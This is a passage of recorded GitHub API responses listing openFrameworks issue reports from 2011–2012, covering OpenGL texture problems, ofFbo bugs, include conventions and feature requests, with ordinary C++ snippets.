Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"closed_issues":16,"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"assignee":null,"closed_at":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","id":1119357},"id":1874373,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/771"},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"assignee":null,"closed_at":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","id":186277},"id":1854874,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/767"},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"assignee":null,"closed_at":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":1851779,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/766"},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"assignee":null,"closed_at":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":1841802,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/765"},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","id":277690},"id":1827792,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/764"},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"assignee":null,"closed_at":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":1758237,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/760"},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"closed_issues":16,"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"assignee":null,"closed_at":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":1738864,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/758"},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"assignee":null,"closed_at":null,"title":"ofPixels::allocate should init new memory","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-09-25T13:22:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":1733504,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/757"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '43399'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"854a64f2869b18d01ef68be3fccb02bb"'), ('date', 'Tue, 29 May 2012 06:43:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-09-22T08:20:27Z","body":"void ofFbo::end() {\r\n\tunbind();\r\n\tif(ofGetGLRenderer()){\r\n\t\tofGetGLRenderer()->setCurrentFBO(NULL);\r\n\t}\r\n\tofPopView();\r\n}\r\n\r\nthis will go wrong if nested fbo as following\r\n\r\nfbo1.begin();\r\n...\r\n fbo2.begin();\r\n ...\r\n fbo2.end();\r\n...\r\nfbo1.end();\r\n\r\nso probably the current fbo must not be set NULL\r\n\r\nerror show's in\r\nvoid ofGLRenderer::viewport(float x, float y, float width, float height, bool invertY) {\r\n\tif(width == 0) width = ofGetWindowWidth();\r\n\tif(height == 0) height = ofGetWindowHeight();\r\n\r\n\tif (invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"assignee":null,"closed_at":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","id":51957,"avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1708332,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/754"},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","id":1047836,"avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1704855,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/753"},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"assignee":null,"closed_at":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","id":517000,"avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1691874,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/752"},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"assignee":null,"closed_at":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1668066,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/748"},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"assignee":null,"closed_at":null,"title":"Polygon 